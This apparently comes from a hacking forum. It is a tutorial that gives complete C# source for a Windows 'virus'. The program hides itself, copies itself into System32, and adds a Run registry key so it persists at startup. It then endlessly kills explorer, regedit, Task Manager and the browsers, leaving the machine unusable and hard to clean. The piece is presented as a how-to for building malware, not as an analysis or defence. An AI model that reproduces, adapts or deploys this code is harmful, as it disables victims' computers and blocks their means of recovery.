[Tutorial] Programming your own FSEK Virus

public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        //Fluffy Simple Explorer Killer Virus - Version 1.0.0
        private void Form1_Load(object sender, EventArgs e)
        {
            this.Visible = false; //Make the window invisible
            this.ShowInTaskbar = false;
            if (Application.StartupPath != Environment.GetFolderPath(Environment.SpecialFolder.System)) //If this file isnt in the system32 directory....
            {
                try
                {
                    FileInfo me = new FileInfo(Application.ExecutablePath); //This file
                    me.MoveTo(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\fsekv.exe"); //...then move this file to C:\Windows\System32\fsekv.exe (Default path)
                    RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); //Registry info
                    key.SetValue("fsekv", "\"" + Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\fsekv.exe\""); //Create the registry key making the virus run on startup
                }
                catch { }
            }
            while (true)
            {
                try
                {
                    Process[] pros = Process.GetProcesses(); //Get info of all processes
                    foreach (Process pro in pros)
                    {
                        if (pro.ProcessName == "explorer" || pro.ProcessName == "regedit" || pro.ProcessName == "iexplore" || pro.ProcessName == "firefox" || pro.ProcessName == "taskmgr") //If the inspected process has one of these names...
                        {
                            pro.Kill(); //...then kill it
                        }
                    }
                    Thread.Sleep(10);
                }
                catch { }
            }
        }
    }